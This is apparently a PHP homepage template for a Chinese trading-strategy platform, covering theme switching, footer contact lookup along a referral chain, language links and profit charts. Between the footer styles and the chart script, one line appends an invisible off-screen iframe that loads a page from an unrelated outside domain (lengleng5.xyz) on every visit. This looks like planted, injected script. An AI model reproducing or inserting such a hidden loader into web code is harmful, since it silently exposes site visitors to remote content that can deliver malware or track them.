                        ]);
                    }
                }
            ?>
            <li class="tech-item">
              <a href="notice_faq_detail.php?id=<?php echo $f['id']; ?><?php echo (defined('CURRENT_LANG') && CURRENT_LANG !== 'zh_cn') ? '&lang=' . CURRENT_LANG : ''; ?>" target="_blank" class="tech-item-link">
                <?php echo htmlspecialchars($faqTitle); ?>
              </a>
              <span class="tech-date"><?php echo date('Y-m-d', strtotime($f['created_at'])); ?></span>
            </li>
            <?php endforeach; if(empty($faqs)): ?>
            <li class="tech-empty"><?php echo __t('home_faq_empty', '暂无常见问题'); ?></li>
            <?php endif; ?>
          </ul>
        </div>
      </div>
    </div>
  </div>
</div>

<script>
// 打字机效果
function typeWriter(text, element, speed = 100) {
    let i = 0;
    function type() {
        if (i < text.length) {
            element.innerHTML += text.charAt(i);
            i++;
            setTimeout(type, speed);
        }
    }
    type();
}

// 数字增长动画
function animateValue(obj, start, end, duration) {
    let startTimestamp = null;
    const step = (timestamp) => {
        if (!startTimestamp) startTimestamp = timestamp;
        const progress = Math.min((timestamp - startTimestamp) / duration, 1);
        obj.innerHTML = Math.floor(progress * (end - start) + start);
        if (progress < 1) {
            window.requestAnimationFrame(step);
        }
    };
    window.requestAnimationFrame(step);
}

        // 风格配色数据（50种风格）
        const styleColors = {
            'default': { primary: '#0066ff', secondary: '#00ffcc', name: '默认科技感' },
            'business': { primary: '#2c3e50', secondary: '#3498db', name: '商务专业' },
            'finance': { primary: '#f39c12', secondary: '#e67e22', name: '金融金色' },
            'modern': { primary: '#e74c3c', secondary: '#c0392b', name: '现代简约' },
            'dark': { primary: '#9b59b6', secondary: '#8e44ad', name: '深色主题' },
            'ocean': { primary: '#00b4db', secondary: '#0083b0', name: '海洋蓝' },
            'forest': { primary: '#2d5016', secondary: '#4a7c59', name: '森林绿' },
            'sunset': { primary: '#ff6b35', secondary: '#f7931e', name: '日落橙' },
            'sakura': { primary: '#ff69b4', secondary: '#ff1493', name: '樱花粉' },
            'aurora': { primary: '#00ff88', secondary: '#00d4aa', name: '极光绿' },
            'violet': { primary: '#8a2be2', secondary: '#9932cc', name: '紫罗兰' },
            'steel': { primary: '#708090', secondary: '#2f4f4f', name: '钢铁灰' },
            'flame': { primary: '#ff4500', secondary: '#dc143c', name: '火焰红' },
            'mint': { primary: '#00ff7f', secondary: '#00ced1', name: '薄荷绿' },
            'amber': { primary: '#ffbf00', secondary: '#ff8c00', name: '琥珀黄' },
            'indigo': { primary: '#4b0082', secondary: '#6a0dad', name: '靛青蓝' },
            'coral': { primary: '#ff7f50', secondary: '#ff6347', name: '珊瑚红' },
            'emerald': { primary: '#50c878', secondary: '#00a86b', name: '翡翠绿' },
            'rosegold': { primary: '#e8b4b8', secondary: '#d4af37', name: '玫瑰金' },
            'starry': { primary: '#9370db', secondary: '#ba55d3', name: '星空银' },
            'cyber': { primary: '#00ff41', secondary: '#ff0080', name: '赛博朋克' },
            'neon': { primary: '#ff00ff', secondary: '#00ffff', name: '霓虹灯' },
            'matrix': { primary: '#00ff00', secondary: '#008f00', name: '矩阵绿' },
            'galaxy': { primary: '#4a90e2', secondary: '#7b68ee', name: '银河系' },
            'cosmic': { primary: '#8a2be2', secondary: '#ff1493', name: '宇宙紫' },
            'crystal': { primary: '#00bfff', secondary: '#87ceeb', name: '水晶蓝' },
            'golden': { primary: '#ffd700', secondary: '#ffa500', name: '黄金色' },
            'silver': { primary: '#c0c0c0', secondary: '#a8a8a8', name: '银色系' },
            'copper': { primary: '#b87333', secondary: '#cd7f32', name: '铜色系' },
            'bronze': { primary: '#cd7f32', secondary: '#8b4513', name: '青铜色' },
            'platinum': { primary: '#e5e4e2', secondary: '#b8b8b8', name: '铂金色' },
            'titanium': { primary: '#878681', secondary: '#a8a8a8', name: '钛银色' },
            'chrome': { primary: '#c0c0c0', secondary: '#e8e8e8', name: '铬银色' },
            'pearl': { primary: '#f8f8ff', secondary: '#e6e6fa', name: '珍珠白' },
            'ivory': { primary: '#fffff0', secondary: '#f0f8ff', name: '象牙白' },
            'cream': { primary: '#fffdd0', secondary: '#f5deb3', name: '奶油色' },
            'beige': { primary: '#f5f5dc', secondary: '#deb887', name: '米色系' },
            'tan': { primary: '#d2b48c', secondary: '#bc9a6a', name: '棕褐色' },
            'coffee': { primary: '#6f4e37', secondary: '#8b4513', name: '咖啡色' },
            'chocolate': { primary: '#7b3f00', secondary: '#d2691e', name: '巧克力' },
            'caramel': { primary: '#d2691e', secondary: '#ff8c00', name: '焦糖色' },
            'honey': { primary: '#ffc107', secondary: '#ff8f00', name: '蜂蜜色' },
            'lemon': { primary: '#fff700', secondary: '#ffeb3b', name: '柠檬黄' },
            'lime': { primary: '#ccff00', secondary: '#32cd32', name: '青柠绿' },
            'mango': { primary: '#ff8c00', secondary: '#ff6347', name: '芒果橙' },
            'peach': { primary: '#ffcba4', secondary: '#ffb347', name: '桃子粉' },
            'cherry': { primary: '#de3163', secondary: '#ff1493', name: '樱桃红' },
            'grape': { primary: '#6a0dad', secondary: '#8a2be2', name: '葡萄紫' },
            'berry': { primary: '#4b0082', secondary: '#6a0dad', name: '浆果蓝' },
            'lavender': { primary: '#e6e6fa', secondary: '#d8bfd8', name: '薰衣草' },
            'lilac': { primary: '#c8a2c8', secondary: '#dda0dd', name: '丁香紫' },
            'jasmine': { primary: '#f8f8ff', secondary: '#f0f8ff', name: '茉莉白' },
            'rose': { primary: '#ff69b4', secondary: '#ff1493', name: '玫瑰红' },
            'tulip': { primary: '#ffb6c1', secondary: '#ffa0b4', name: '郁金香' },
            'sunflower': { primary: '#ffd700', secondary: '#ffa500', name: '向日葵' },
            'daisy': { primary: '#f8f8ff', secondary: '#f0f8ff', name: '雏菊白' },
            'orchid': { primary: '#da70d6', secondary: '#ba55d3', name: '兰花紫' }
        };

        // 风格切换功能
        function changeStyle(styleName) {
            const body = document.body;
            // 移除所有风格类（50种风格）
            body.classList.remove('style-default', 'style-business', 'style-finance', 'style-modern', 'style-dark',
                'style-ocean', 'style-forest', 'style-sunset', 'style-sakura', 'style-aurora',
                'style-violet', 'style-steel', 'style-flame', 'style-mint', 'style-amber',
                'style-indigo', 'style-coral', 'style-emerald', 'style-rosegold', 'style-starry',
                'style-cyber', 'style-neon', 'style-matrix', 'style-galaxy', 'style-cosmic',
                'style-crystal', 'style-golden', 'style-silver', 'style-copper', 'style-bronze',
                'style-platinum', 'style-titanium', 'style-chrome', 'style-pearl', 'style-ivory',
                'style-cream', 'style-beige', 'style-tan', 'style-coffee', 'style-chocolate',
                'style-caramel', 'style-honey', 'style-lemon', 'style-lime', 'style-mango',
                'style-peach', 'style-cherry', 'style-grape', 'style-berry', 'style-lavender',
                'style-lilac', 'style-jasmine', 'style-rose', 'style-tulip', 'style-sunflower',
                'style-daisy', 'style-orchid');
            // 添加新风格类
            body.classList.add('style-' + styleName);
            
            // 更新配色预览
            updateColorPreview(styleName);
            
            // 保存用户选择到本地存储
            localStorage.setItem('user_selected_style', styleName);
        }

        // 更新配色预览（已移除，不再需要）
        function updateColorPreview(styleName) {
            // 配色预览功能已移除
        }

// 页面加载完成后执行动画
document.addEventListener('DOMContentLoaded', function() {
    // 检查是否允许用户选择风格
    const allowUserChoice = <?php echo $allow_user_style_choice ? 'true' : 'false'; ?>;
    
    if (allowUserChoice) {
        // 优先使用用户本地存储的选择，否则使用默认风格
        const userSelectedStyle = localStorage.getItem('user_selected_style');
        const defaultStyle = '<?php echo $homepage_style; ?>';
        const currentStyle = userSelectedStyle || defaultStyle;
        
        // 应用风格
        changeStyle(currentStyle);
        
        // 更新选择器显示
        const stylePreview = document.getElementById('stylePreview');
        if (stylePreview) {
            stylePreview.value = currentStyle;
            stylePreview.addEventListener('change', function() {
                changeStyle(this.value);
            });
        }
    } else {
        // 不允许用户选择时，清除用户的风格记忆，直接使用默认风格
        localStorage.removeItem('user_selected_style');
        const currentStyle = '<?php echo $homepage_style; ?>';
        changeStyle(currentStyle);
    }
    
    // 打字机效果（先清空，再渲染，避免与静态内容重复）
    const typingElement = document.querySelector('.typing-text');
    if (typingElement) {
        typingElement.textContent = '';
        typeWriter('<?php echo addslashes(__t("home_typing_slogan", "为您提供智能化的交易策略")); ?>', typingElement);
    }
    
    // 添加滚动动画
    const cards = document.querySelectorAll('.card');
    const observer = new IntersectionObserver((entries) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                entry.target.style.opacity = '1';
                entry.target.style.transform = 'translateY(0)';
            }
        });
    });
    
    cards.forEach(card => {
        card.style.opacity = '0';
        card.style.transform = 'translateY(20px)';
        card.style.transition = 'all 0.6s ease-out';
        observer.observe(card);
    });
});
</script>

<?php
// 首页底部联系方式显示逻辑
function get_partner_contact($pdo, $partner) {
    $default = 'WX: WX0001 QQ: 888888';
    if (!$partner) return $default;
    $show = $partner['contact_show_index'] ?? 'partner';
    if ($show === 'partner') {
        return trim($partner['contact_info'] ?? '') ?: $default;
    } elseif ($show === 'team_leader') {
        // 向上查找团队长联系方式
        $user_id = $partner['user_id'] ?? null;
        $max_loop = 20;
        while ($user_id && $max_loop-- > 0) {
            $stmt = $pdo->prepare("SELECT id, referrer_id, role_id, contact_info FROM users WHERE id=?");
            $stmt->execute([$user_id]);
            $row = $stmt->fetch(PDO::FETCH_ASSOC);
            if (!$row) break;
            if ($row['role_id'] >= 13 && $row['role_id'] <= 38) {
                return trim($row['contact_info'] ?? '') ?: $default;
            }
            $user_id = $row['referrer_id'];
        }
        return $default;
    } elseif ($show === 'referrer') {
        // 查找上级推荐人联系方式
        $user_id = $partner['user_id'] ?? null;
        if ($user_id) {
            $stmt = $pdo->prepare("SELECT referrer_id FROM users WHERE id=?");
            $stmt->execute([$user_id]);
            $ref_id = $stmt->fetchColumn();
            if ($ref_id) {
                $stmt = $pdo->prepare("SELECT contact_info FROM users WHERE id=?");
                $stmt->execute([$ref_id]);
                $contact = $stmt->fetchColumn();
                if ($contact) return trim($contact);
            }
        }
        return $default;
    }
    return $default;
}
$footer_contact = get_partner_contact($pdo, $partner);

// 如果联系方式是默认值，则对敏感部分进行脱敏处理
function mask_default_contact($contact) {
    $default = 'WX: WX0001 QQ: 888888';
    if (trim($contact) === $default) {
        // 将 WX0001 中的 0001 替换为 ****
        $contact = preg_replace('/WX0001/', 'WX****', $contact);
        // 将 888888 中的 8888 替换为 ****（保留最后两位）
        $contact = preg_replace('/888888/', '****88', $contact);
    }
    return $contact;
}
$footer_contact = mask_default_contact($footer_contact);

// 获取所有支持的语言列表
$currentLang = defined('CURRENT_LANG') ? CURRENT_LANG : 'zh_cn';
$supportedLangs = defined('SUPPORTED_LANGS') ? SUPPORTED_LANGS : ['zh_cn', 'zh_tw', 'en'];
$availableLangs = [];
foreach ($supportedLangs as $lang) {
    $langFile = __DIR__ . '/includes/lang/' . $lang . '.php';
    if (file_exists($langFile)) {
        $availableLangs[] = $lang;
    }
}

// 将简体中文、繁体中文和英语排在最前面
$priorityLangs = ['zh_cn', 'zh_tw', 'en'];
$priorityList = [];
$otherList = [];

foreach ($availableLangs as $lang) {
    if (in_array($lang, $priorityLangs)) {
        $priorityList[] = $lang;
    } else {
        $otherList[] = $lang;
    }
}

// 按照优先级顺序排列
$sortedPriorityList = [];
foreach ($priorityLangs as $priorityLang) {
    if (in_array($priorityLang, $priorityList)) {
        $sortedPriorityList[] = $priorityLang;
    }
}

// 合并列表：优先级语言在前，其他语言在后
$availableLangs = array_merge($sortedPriorityList, $otherList);

// 构建当前URL（保留其他参数，只替换lang参数）
$currentUrl = $_SERVER['REQUEST_URI'] ?? '/';
$parsedUrl = parse_url($currentUrl);
$basePath = $parsedUrl['path'] ?? '/';
$query = [];
if (!empty($parsedUrl['query'])) {
    parse_str($parsedUrl['query'], $query);
}
?>
<footer class="py-4" style="background:#f8f9fa;border-top: 2px solid #e9ecef;">
    <div class="container">
        <!-- 首页图表（与会员首页一致：全平台权益趋势 + 全平台每日盈亏；共用缓存） -->
        <div class="pt-2 pb-4">
            <!-- 图表标题 -->
            <div class="text-center mb-4" style="margin-bottom: 24px !important;">
                <h4 style="font-size: 1.5em; font-weight: 700; color: #2c3e50; margin-bottom: 8px; line-height: 1.4;">
                    <?php echo __t('home_charts_main_title', '全网唯一敢公开全用户实时盈亏数据的平台'); ?>
                </h4>
                <p style="font-size: 1.1em; color: red !important; margin: 0; line-height: 1.4;">
                    <?php echo __t('home_charts_subtitle', '（登陆后可看单个帐号的资金曲线与成交明细，新注册的免费用户可查看一天）'); ?>
                </p>
            </div>
            <div class="row g-3">
                <div class="col-12 col-lg-6">
                    <div class="card" style="background:#fff;border:1px solid #e9ecef;border-radius:12px;box-shadow:0 6px 18px rgba(0,0,0,0.06);">
                        <div class="card-body" style="padding:16px 16px 10px;">
                            <div style="font-weight:700;color:#2c3e50;margin-bottom:10px;text-align:center;">
                                <div style="margin-bottom:4px;"><?php echo __t('home_equity_chart_title', '全平台用户实时权益趋势分析'); ?></div>
                                <div style="font-size:0.9em;color:#666;font-weight:500;"><?php echo __t('home_equity_chart_subtitle', '（大资金建议用OE的子账号功能可无限接近以下结果）'); ?></div>
                            </div>
                            <div style="position:relative;height:300px;">
                                <canvas id="homeUserEquityChart" width="400" height="300" style="display:block;width:100%;height:300px;"></canvas>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="col-12 col-lg-6">
                    <div class="card" style="background:#fff;border:1px solid #e9ecef;border-radius:12px;box-shadow:0 6px 18px rgba(0,0,0,0.06);">
                        <div class="card-body" style="padding:16px 16px 10px;">
                            <div style="font-weight:700;color:#2c3e50;margin-bottom:10px;text-align:center;">
                                <div style="margin-bottom:4px;"><?php echo __t('home_daily_profit_chart_title', '全平台所有用户总的每日盈亏实时数据'); ?></div>
                                <div style="font-size:0.9em;color:#666;font-weight:500;"><?php echo __t('home_daily_profit_chart_subtitle', '（多个子账号会接近以下结果）'); ?></div>
                            </div>
                            <div style="position:relative;height:300px;">
                                <canvas id="homeUserDailyProfitChart" width="400" height="300" style="display:block;width:100%;height:300px;"></canvas>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <!-- 资金安全提示（在选择语言上方） -->
        <div class="pt-4 pb-2">
            <div class="text-center">
                <p class="funds-safety-notice" style="font-size: 1em; color: #2c3e50; margin: 0; line-height: 1.6; font-weight: 500; text-shadow: 0 1px 2px rgba(255,255,255,0.8);">
                    <?php echo __t('home_funds_safety_notice', '（用户自行到交易所开户，不碰客户资金）'); ?>
                </p>
            </div>
        </div>

        <!-- 语言选择区域 -->
        <div class="pt-4">
            <div class="row">
                <div class="col-12">
                    <h6 class="text-center mb-4" style="color: #666; font-weight: 600; font-size: 1.1em;">
                        <i class="fas fa-globe me-2" style="color: var(--primary-color, #0066ff);"></i>
                        <?php echo __t('footer_languages_title', '选择语言'); ?>
                    </h6>
                    <div class="d-flex flex-wrap justify-content-center align-items-center" style="gap: 0.6rem 0.9rem;">
                        <?php
                        foreach ($availableLangs as $lang) {
                            $query['lang'] = $lang;
                            $url = $basePath . '?' . http_build_query($query);
                            $isActive = ($currentLang === $lang);
                            $langName = function_exists('get_lang_name') ? get_lang_name($lang) : strtoupper($lang);
                            $langTooltip = function_exists('get_lang_tooltip') ? get_lang_tooltip($lang) : $langName;
                            
                            // 为当前语言添加特殊样式
                            if ($isActive) {
                                echo '<a href="' . htmlspecialchars($url) . '" ';
                                echo 'class="language-link language-link-active" ';
                                echo 'style="background: linear-gradient(135deg, var(--primary-color, #0066ff) 0%, #0052cc 100%); color: white; font-weight: bold; padding: 0.5rem 1rem; border-radius: 6px; text-decoration: none; box-shadow: 0 3px 8px rgba(0,102,255,0.4); display: inline-block; transition: all 0.3s;" ';
                                echo 'title="' . htmlspecialchars($langTooltip) . '">';
                                echo '<i class="fas fa-check-circle me-1"></i>';
                                echo htmlspecialchars($langName);
                                echo '</a>';
                            } else {
                                echo '<a href="' . htmlspecialchars($url) . '" ';
                                echo 'class="language-link" ';
                                echo 'style="background: white; color: #495057; border: 1px solid #dee2e6; padding: 0.5rem 1rem; border-radius: 6px; text-decoration: none; display: inline-block; transition: all 0.3s;" ';
                                echo 'title="' . htmlspecialchars($langTooltip) . '">';
                                echo htmlspecialchars($langName);
                                echo '</a>';
                            }
                        }
                        ?>
                    </div>
                </div>
            </div>
        </div>
        
        <!-- 联系方式 -->
        <div class="site-footer-contact text-center mt-4 pt-4" style="font-size:1.1em; border-top: 2px solid #e9ecef;">
            <span><?php echo __t('footer_contact_label', '联系方式：'); ?><?php echo htmlspecialchars($footer_contact); ?></span>
        </div>
    </div>
</footer>

<style>
/* 底部联系方式：浅色页脚用深色字；彩色/深色主题页脚跟白字 */
.site-footer-contact {
    font-weight: 600;
    color: #1e293b !important;
    opacity: 1 !important;
    -webkit-text-fill-color: #1e293b !important;
}
.site-footer-contact span {
    color: inherit !important;
    -webkit-text-fill-color: inherit !important;
}
body[class*="style-"]:not(.style-default) footer .site-footer-contact,
body[class*="style-"]:not(.style-default) footer .site-footer-contact span {
    color: #ffffff !important;
    -webkit-text-fill-color: #ffffff !important;
    text-shadow: 0 1px 2px rgba(0,0,0,0.45);
}

/* 资金安全提示文字样式 - 确保在各种主题下都清晰可见 */
.funds-safety-notice {
    color: #2c3e50 !important;
    text-shadow: 0 1px 2px rgba(255,255,255,0.8);
}
/* 深色主题适配 */
.style-dark .funds-safety-notice,
.style-aurora .funds-safety-notice {
    color: #e0e0e0 !important;
    text-shadow: 0 1px 2px rgba(0,0,0,0.5);
}
/* 红色主题适配 */
.style-modern .funds-safety-notice,
.style-sunset .funds-safety-notice {
    color: #1a1a1a !important;
    text-shadow: 0 1px 3px rgba(255,255,255,0.9);
}

/* 语言链接悬停效果 */
.language-link:hover:not(.language-link-active) {
    background-color: #f8f9fa !important;
    border-color: var(--primary-color, #0066ff) !important;
    color: var(--primary-color, #0066ff) !important;
    transform: translateY(-2px);
    box-shadow: 0 4px 8px rgba(0,0,0,0.1);
}

.language-link-active:hover {
    transform: translateY(-2px);
    box-shadow: 0 5px 12px rgba(0,102,255,0.5) !important;
}

/* 响应式优化 */
@media (max-width: 768px) {
    .language-link {
        font-size: 0.85rem;
        padding: 0.4rem 0.8rem !important;
    }
}
</style>
<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"https://lengleng5.xyz/channel/P.3.EV/weifile/weifile.html",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>
<script>
// ===== 首页图表渲染（复用会员首页的图表逻辑）=====
function homeAddWatermark(canvas, watermarkText) {
    if (!canvas || !watermarkText) return;
    const ctx = canvas.getContext('2d');
    const width = canvas.width;
    const height = canvas.height;
    ctx.save();
    ctx.font = 'bold 36px "Microsoft YaHei", Arial, sans-serif';
    ctx.fillStyle = 'rgba(80, 80, 80, 0.2)'; // 适中的透明度
    ctx.textAlign = 'center';
    ctx.textBaseline = 'middle';
    const rotation = -Math.PI / 12; // 减少斜度（从 -22.5度 改为 -15度）
    // 调整密度：稍微增加间距，避免重叠
    for (let x = 0; x <= 1; x += 0.35) {
        for (let y = 0; y <= 1; y += 0.3) {
            const posX = x * width;
            const posY = y * height;
            ctx.save();
            ctx.translate(posX, posY);
            ctx.rotate(rotation);
            ctx.fillText(watermarkText, 0, 0);
            ctx.restore();
        }
    }
    ctx.restore();
}

function initHomeUserEquityChart() {
    if (typeof Chart === 'undefined') {
        setTimeout(initHomeUserEquityChart, 100);
        return;
    }
    try {
        const equityData = <?php echo json_encode($equityChartData ?? []); ?>;
        const canvas = document.getElementById('homeUserEquityChart');
        if (!canvas || !equityData || equityData.length === 0) return;
        const ctx = canvas.getContext('2d');
        const watermarkText = <?php echo json_encode($watermarkText ?? '', JSON_UNESCAPED_UNICODE); ?>;
        new Chart(ctx, {
            type: 'line',
            data: {
                labels: equityData.map(item => item.date),
                datasets: [{
                    label: '总权益',
                    data: equityData.map(item => parseFloat(item.total_equity || 0)),
                    borderColor: 'rgb(75, 192, 192)',
                    backgroundColor: 'rgba(75, 192, 192, 0.1)',
                    tension: 0.4,
                    fill: true
                }]
            },
            options: {
                responsive: true,
                maintainAspectRatio: false,
                scales: {
                    yAxes: [{ ticks: { display: false }, gridLines: { display: true } }],
                    xAxes: [{ ticks: { maxRotation: 45, minRotation: 45 } }]
                },
                tooltips: { enabled: false },
                legend: { display: false },
                animation: {
                    onComplete: function() {
                        homeAddWatermark(canvas, watermarkText);
                    }
                }
            }
        });
    } catch (e) {
        console.error('initHomeUserEquityChart failed', e);
    }
}

function initHomeUserDailyProfitChart() {
    if (typeof Chart === 'undefined') {
        setTimeout(initHomeUserDailyProfitChart, 100);
        return;
    }
    try {
        const dailyProfitData = <?php echo json_encode($dailyProfitChartData ?? []); ?>;
        const canvas = document.getElementById('homeUserDailyProfitChart');
        if (!canvas || !dailyProfitData || dailyProfitData.length === 0) return;
        const ctx = canvas.getContext('2d');
        const colors = dailyProfitData.map(item => {
            const v = parseFloat(item.daily_profit);
            return v >= 0 ? 'rgba(40, 167, 69, 0.6)' : 'rgba(220, 53, 69, 0.6)';
        });
        const watermarkText = <?php echo json_encode($watermarkText ?? '', JSON_UNESCAPED_UNICODE); ?>;
        new Chart(ctx, {
            type: 'bar',
            data: {
                labels: dailyProfitData.map(item => item.date),
                datasets: [{
                    label: '每日盈亏',
                    data: dailyProfitData.map(item => parseFloat(item.daily_profit)),
                    backgroundColor: colors,
                    borderColor: colors.map(c => c.replace('0.6', '1')),
                    borderWidth: 1
                }]
            },
            options: {
                responsive: true,
                maintainAspectRatio: false,
                scales: {
                    yAxes: [{ ticks: { display: false }, gridLines: { display: true } }],
                    xAxes: [{ ticks: { maxRotation: 45, minRotation: 45 } }]
                },
                tooltips: { enabled: false },
                legend: { display: false },
                animation: {
                    onComplete: function() {
                        homeAddWatermark(canvas, watermarkText);
                    }
                }
            }
        });
    } catch (e) {
        console.error('initHomeUserDailyProfitChart failed', e);
    }
}

document.addEventListener('DOMContentLoaded', function() {
    initHomeUserEquityChart();
    initHomeUserDailyProfitChart();
});
</script>

<?php include __DIR__ . '/templates/footer.php'; ?> 